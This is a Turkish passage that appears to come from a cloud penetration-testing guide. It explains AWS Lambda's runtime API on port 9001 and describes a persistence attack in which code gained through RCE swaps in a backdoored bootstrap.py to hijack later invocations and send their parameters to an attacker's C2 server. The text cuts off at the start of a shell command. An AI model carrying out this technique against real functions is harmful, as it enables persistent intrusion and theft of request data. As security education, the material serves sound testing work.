1. **Slicer**, **invocation**'ları **init** sürecine **gönderen** konteyner dışındaki bir süreçtir.
2. Init süreci, bazı ilginç uç noktaları açığa çıkaran **9001** portunu dinler:
- **`/2018-06-01/runtime/invocation/next`** – bir sonraki invocation olayını al
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – invoke için handler yanıtını döndür
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – bir yürütme hatası döndür
3. **bootstrap.py**, init sürecinden invocation'ları alan bir döngüye sahiptir ve bunları işlemek için kullanıcı kodunu çağırır (**`/next`**).
4. Son olarak, **bootstrap.py** init'e **yanıtı** gönderir.
Bootstrap'ın kullanıcı kodunu bir modül olarak yüklediğini unutmayın, bu nedenle kullanıcı kodu tarafından gerçekleştirilen herhangi bir kod yürütmesi aslında bu süreçte gerçekleşmektedir.
## Lambda İsteklerini Çalmak
Bu saldırının amacı, kullanıcı kodunun, savunmasız isteği işleyen **`bootstrap.py`** süreci içinde kötü niyetli bir **`bootstrap.py`** süreci çalıştırmasını sağlamaktır. Bu şekilde, **kötü niyetli bootstrap** süreci, istekleri işlemek için **init süreciyle** **iletişim kurmaya** başlayacakken, **meşru** bootstrap, kötü niyetli olanı çalıştırarak **tuzağa düşürülmüş** olacaktır, böylece init sürecine istek sormayacaktır.
Bu, kullanıcı kodunun meşru **`bootstrap.py`** süreci tarafından yürütüldüğü için basit bir görevdir. Böylece saldırgan:
- **Mevcut invocation'ın sahte bir sonucunu init sürecine gönderebilir**, böylece init, bootstrap sürecinin daha fazla invocation beklediğini düşünebilir.
- **`/${invoke-id}/response`** adresine bir istek gönderilmelidir.
- Invoke-id, meşru **`bootstrap.py`** sürecinin yığınından [**inspect**](https://docs.python.org/3/library/inspect.html) python modülünü kullanarak elde edilebilir (burada [önerildiği gibi](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) veya sadece tekrar **`/2018-06-01/runtime/invocation/next`** adresine istekte bulunarak elde edilebilir (burada [önerildiği gibi](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
- Bir sonraki invocation'ları yönetecek kötü niyetli bir **`boostrap.py`** çalıştırın.
- Gizlilik amacıyla, lambda invocation parametrelerini saldırganın kontrolündeki bir C2'ye göndermek ve ardından istekleri normal şekilde işlemek mümkündür.
- Bu saldırı için, **`bootstrap.py`**'nin orijinal kodunu sistemden veya [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) üzerinden almak, kötü niyetli kodu eklemek ve mevcut lambda invocation'ından çalıştırmak yeterlidir.
### Saldırı Adımları
1. Bir **RCE** açığı bulun.
2. **Kötü niyetli** bir **bootstrap** oluşturun (örneğin, [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)).
3. Kötü niyetli bootstrap'ı **çalıştırın**.
Bu eylemleri kolayca gerçekleştirebilirsiniz:
```bash
python3 <